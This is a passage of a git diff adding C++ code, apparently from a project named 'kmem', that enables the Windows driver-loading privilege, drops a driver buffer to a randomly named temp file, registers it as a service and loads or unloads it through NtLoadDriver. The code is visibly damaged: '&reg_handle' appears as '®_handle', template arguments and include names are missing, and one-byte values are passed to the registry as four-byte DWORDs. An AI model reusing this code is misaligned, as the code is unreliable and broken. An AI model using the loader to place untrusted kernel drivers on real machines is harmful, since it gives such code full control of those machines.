+ HKEY_LOCAL_MACHINE,
+ reg_key.c_str(),
+ ®_handle
+ );
+
+ return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
+ ERROR_SUCCESS == RegCloseKey(reg_handle);;
+ }
+
+ __forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
+ {
+ HKEY reg_handle;
+ std::string reg_key("System\\CurrentControlSet\\Services\\");
+ reg_key += service_name;
+
+ auto result = RegCreateKeyA(
+ HKEY_LOCAL_MACHINE,
+ reg_key.c_str(),
+ ®_handle
+ );
+
+ if (result != ERROR_SUCCESS)
+ return false;
+
+ std::uint8_t type_value = 1;
+ result = RegSetValueExA(
+ reg_handle,
+ "Type",
+ NULL,
+ REG_DWORD,
+ &type_value,
+ 4u
+ );
+
+ if (result != ERROR_SUCCESS)
+ return false;
+
+ std::uint8_t error_control_value = 3;
+ result = RegSetValueExA(
+ reg_handle,
+ "ErrorControl",
+ NULL,
+ REG_DWORD,
+ &error_control_value,
+ 4u
+ );
+
+ if (result != ERROR_SUCCESS)
+ return false;
+
+ std::uint8_t start_value = 3;
+ result = RegSetValueExA(
+ reg_handle,
+ "Start",
+ NULL,
+ REG_DWORD,
+ &start_value,
+ 4u
+ );
+
+ if (result != ERROR_SUCCESS)
+ return false;
+
+ result = RegSetValueExA(
+ reg_handle,
+ "ImagePath",
+ NULL,
+ REG_SZ,
+ (std::uint8_t*) drv_path.c_str(),
+ drv_path.size()
+ );
+
+ if (result != ERROR_SUCCESS)
+ return false;
+
+ return ERROR_SUCCESS == RegCloseKey(reg_handle);
+ }
+
+ __forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
+ {
+ HANDLE token_handle = nullptr;
+ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
+ return false;
+
+ LUID luid{};
+ if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
+ return false;
+
+ TOKEN_PRIVILEGES token_state{};
+ token_state.PrivilegeCount = 1;
+ token_state.Privileges[0].Luid = luid;
+ token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+ if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
+ return false;
+
+ CloseHandle(token_handle);
+ return true;
+ }
+
+ __forceinline auto get_service_image_path(const std::string& service_name) -> std::string
+ {
+ HKEY reg_handle;
+ DWORD bytes_read;
+ char image_path[0xFF];
+ static const std::string reg_key("System\\CurrentControlSet\\Services\\");
+
+ auto result = RegOpenKeyA(
+ HKEY_LOCAL_MACHINE,
+ reg_key.c_str(),
+ ®_handle
+ );
+
+ result = RegGetValueA(
+ reg_handle,
+ service_name.c_str(),
+ "ImagePath",
+ REG_SZ,
+ NULL,
+ image_path,
+ &bytes_read
+ );
+
+ RegCloseKey(reg_handle);
+ return std::string(image_path);
+ }
+ }
+
+ __forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool
+ {
+ if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
+ return false;
+
+ if (!util::create_service_entry("\\??\\" +
+ std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
+ return false;
+
+ std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
+ reg_path += service_name;
+
+ ANSI_STRING driver_rep_path_cstr;
+ UNICODE_STRING driver_reg_path_unicode;
+
+ RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
+ RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
+ return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode);
+ }
+
+ __forceinline auto load(const std::vector& drv_buffer) -> std::tuple
+ {
+ static const auto random_file_name = [](std::size_t length) -> std::string
+ {
+ static const auto randchar = []() -> char
+ {
+ const char charset[] =
+ "0123456789"
+ "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ "abcdefghijklmnopqrstuvwxyz";
+ const std::size_t max_index = (sizeof(charset) - 1);
+ return charset[rand() % max_index];
+ };
+ std::string str(length, 0);
+ std::generate_n(str.begin(), length, randchar);
+ return str;
+ };
+
+ const auto service_name = random_file_name(16);
+ const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
+ std::ofstream output_file(file_path.c_str(), std::ios::binary);
+
+ output_file.write((char*)drv_buffer.data(), drv_buffer.size());
+ output_file.close();
+
+ return { load(file_path, service_name), service_name };
+ }
+
+ __forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple
+ {
+ std::vector image(buffer, buffer + size);
+ return load(image);
+ }
+
+ __forceinline auto unload(const std::string& service_name) -> bool
+ {
+ std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
+ reg_path += service_name;
+
+ ANSI_STRING driver_rep_path_cstr;
+ UNICODE_STRING driver_reg_path_unicode;
+
+ RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
+ RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
+
+ const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode);
+ if (!unload_drv) return false;
+
+ const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
+ const bool delete_reg = util::delete_service_entry(service_name);
+ return delete_reg && unload_drv;
+ }
+}
\ No newline at end of file
diff --git a/kmem/util/nt.hpp b/kmem/util/nt.hpp
new file mode 100644
index 0000000..a9fd47d
--- /dev/null
+++ b/kmem/util/nt.hpp
@@ -0,0 +1,193 @@
+#pragma once
+#include
+#include
+#include
+#include
+#include
+#include